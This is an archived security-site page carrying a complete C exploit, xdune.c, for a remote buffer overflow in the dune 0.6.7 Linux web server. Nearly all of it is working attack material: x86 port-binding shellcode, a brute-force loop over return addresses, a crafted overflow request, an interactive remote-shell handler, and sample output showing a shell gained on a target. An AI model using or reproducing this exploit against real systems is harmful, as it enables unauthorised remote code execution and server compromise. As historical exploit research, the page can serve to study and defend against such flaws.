TUCoPS :: Web :: Servers :: bt427.txt

dune: remote buffer overflow exploit. (httpd)




automated exploit for dune[0.6.7+-] webserver, source comments explain...



original source:

 http://fakehalo.deadpig.org/xdune.c



Vade79 -> v9@fakehalo.deadpig.org -> fakehalo.





----------------- example usage -----------------





[v9@localhost v9]$ ./xdune localhost

[*] dune[0.6.7+-]: remote buffer overflow exploit.

[*] by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo)



 target:localhost:80 addresses:0x08048001(+0)-0x0804ffff



[. = 350 byte 

offset]: .............................................................(hit 

shellcode at 0x08048001(+21350))



Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 

unknown

uid=65534 gid=100(users) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6

(disk),10(wheel)





----------------- xdune.c -----------------





/*[ dune[0.6.7+-]: remote buffer overflow exploit. ]*

 * by: vade79/v9 v9@fakehalo.deadpig.org (fakehalo) *

 *                                                  *

 * dune is a httpd webserver for linux, which can   *

 * be found at:                                     *

 *  http://www.freshmeat.net/projects/dune          *

 *                                                  *

 * i originally made a proof of concept(broken)     *

 * exploit for it a couple years ago.  but, i       *

 * decided to finally make a working exploit for    *

 * it.  probably the most easy-to-use exploit i've  *

 * ever made.  the brute force method will allow    *

 * the exploit to work out of the box, on linux.    *

 *                                                  *

 * this exploit exploits the "multiuser" feature of *

 * dune.  the request sent will look like:          *

 *  "GET /~[48 bytes/overflow] [shellcode]\n\n"     *

 * the shellcode is placed where "HTTP/?.?" would   *

 * normally go.  but, dune doesn't seem to care.    *

 * if it is placed elsewhere alot of characters     *

 * will get truncated/passed to different           *

 * functions.                                       *

 *                                                  *

 * one problem though.  because of this:            *

 *  main.c:185:if(buffer[0]==EOF) exit(0);          *

 *  main.c:203:if(buffer[0]==EOF) exit(0);          *

 * no 0xff's can be sent to the server, for this to *

 * work.  but, i've made the exploit to work around *

 * the problem.                                     *

 *                                                  *

 * note: dune does drop privileges(uid/gid), if     *

 * started as root.  but, does not initgroups()     *

 * accordingly.                                     *

 ****************************************************/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <unistd.h>

#include <netdb.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <sys/time.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#define BASE_ADDR 0x08048001 /* start brute. */

#define END_ADDR 0x0804ffff /* end brute. */

#define TIMEOUT 15 /* connection timeout. */

static char x86_exec[]= /* modded from netric folk. */

 "\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66"

 "\xcd\x80\x31\xd2\x52\x66\x68\x00\x00\x43\x66\x53\x89"

 "\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89"

 "\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52"

 "\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80"

 "\x41\x80\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68"

 "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"

 "\x80";

char *getbuf(unsigned long);

void getshell(char *,unsigned short,unsigned long);

void request_url(char *hostname,unsigned short port,

unsigned long);

void printe(char *,short);

void sig_alarm(){printe("alarm/timeout hit",1);}

int main(int argc,char **argv){

 unsigned short port=80; /* default. */

 unsigned short sport=7979; /* default. */

 unsigned long ret=0;

 printf("[*] dune[0.6.7+-]: remote buffer overflow exp"

 "loit.\n[*] by: vade79/v9 v9@fakehalo.deadpig.org (fa"

 "kehalo)\n\n");

 if(argc<2){

  printf("[!] syntax: %s <hostname> [port] [offset] [s"

  "hell port]\n\n",argv[0]);

  exit(1);

 }

 if(argc>2)

  port=atoi(argv[2]);

 if(argc>3)

  ret=atoi(argv[3]);

 if(argc>4)

  sport=atoi(argv[4]);

 /* check for 0x0 and 0xff, can't use them. */

 if(((sport&0xff00)>>8)==0xff||(sport&0x00ff)==0xff||

 !((sport&0xff00)>>8)||!(sport&0x00ff)){

  printf("[!] shell port defined contains bad characte"

  "r(s), using default.\n");

  sport=7979; /* back to default. */

 }

 /* add port dealio. */

 x86_exec[20]=(sport&0xff00)>>8;

 x86_exec[21]=(sport&0x00ff);

 printf(" target:%s:%d addresses:0x%.8x(+%ld)-0x%.8x"

 "\n\n",argv[1],port,BASE_ADDR,ret,END_ADDR);

 fprintf(stderr,"[. = 350 byte offset]: ");

 while((BASE_ADDR+ret)<END_ADDR){

  /* make sure its a usable address. */

  if(!(BASE_ADDR+(ret&0x000000ff)))

   ret--;

  if((BASE_ADDR+(ret&0x000000ff))==0xff)

   ret--;

  request_url(argv[1],port,(BASE_ADDR+ret));

  sleep(1);

  getshell(argv[1],sport,ret);

  ret+=350; /* number of nops. */

 }

 fprintf(stderr,"(hit memory limit, aborting)\n\n");

 exit(0);

}

/* layout: "GET /~[addr*12] [shellcode]\n\n". */

char *getbuf(unsigned long addr){

 unsigned int i=0;

 char *buf;

 if(!(buf=(char *)malloc(500+1)))

  printe("getbuf(): allocating memory failed",1);

 memset(buf,0x0,501);

 strcpy(buf,"GET /~");

 for(i=6;i<(48+6);i+=4){*(long *)&buf[i]=addr;}

 buf[i++]=0x20; /* space. */

 memset(buf+i,0x90,(500-strlen(x86_exec)-i-2));

 memcpy(buf+(500-strlen(x86_exec)-2),x86_exec,

 strlen(x86_exec));

 strcpy(buf+strlen(buf),"\n\n");

 return(buf);

}

void getshell(char *hostname,unsigned short port,

unsigned long offset){

 int sock,r;

 fd_set fds;

 char buf[4096];

 struct hostent *he;

 struct sockaddr_in sa;

 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))

 ==-1)

  printe("getshell() socket failed",1);

 sa.sin_family=AF_INET;

 if((sa.sin_addr.s_addr=inet_addr(hostname))){

  if(!(he=gethostbyname(hostname)))

   printe("couldn't resolve hostname",1);

  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,

  sizeof(sa.sin_addr));

 }

 sa.sin_port=htons(port);

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){

  fprintf(stderr,".");

  close(sock);

  return;

 }

 alarm(0);

 fprintf(stderr,"(hit shellcode at 0x%.8x(+%ld))\n\n",

 BASE_ADDR,offset);

 signal(SIGINT,SIG_IGN);

 write(sock,"uname -a;id\n",13);

 while(1){

  FD_ZERO(&fds);

  FD_SET(0,&fds);

  FD_SET(sock,&fds);

  if(select(sock+1,&fds,0,0,0)<1){

   printe("getshell(): select() failed",0);

   return;

  }

  if(FD_ISSET(0,&fds)){

   if((r=read(0,buf,sizeof(buf)))<1){

    printe("getshell(): read() failed",0);

    return;

   }

   if(write(sock,buf,r)!=r){

    printe("getshell(): write() failed",0);

    return;

   }

  }

  if(FD_ISSET(sock,&fds)){

   if((r=read(sock,buf,sizeof(buf)))<1)

    exit(0);

   write(1,buf,r);

  }

 }

 close(sock);

 return;

}

void request_url(char *hostname,unsigned short port,

unsigned long ret){

 int sock;

 char *ptr;

 struct hostent *t;

 struct sockaddr_in s;

 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

 s.sin_family=AF_INET;

 s.sin_port=htons(port);

 if((s.sin_addr.s_addr=inet_addr(hostname))){

  if(!(t=gethostbyname(hostname)))

   printe("couldn't resolve hostname",1);

  memcpy((char*)&s.sin_addr,(char*)t->h_addr,

  sizeof(s.sin_addr));

 }

 signal(SIGALRM,sig_alarm);

 alarm(TIMEOUT);

 if(connect(sock,(struct sockaddr *)&s,sizeof(s)))

  printe("connection failed",1);

 alarm(0);

 ptr=getbuf(ret);

 write(sock,ptr,strlen(ptr));

 close(sock);

 return;

}

void printe(char *err,short e){

 fprintf(stderr,"(error: %s)\n\n",err);

 if(e)

  exit(1);

 return;

}


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH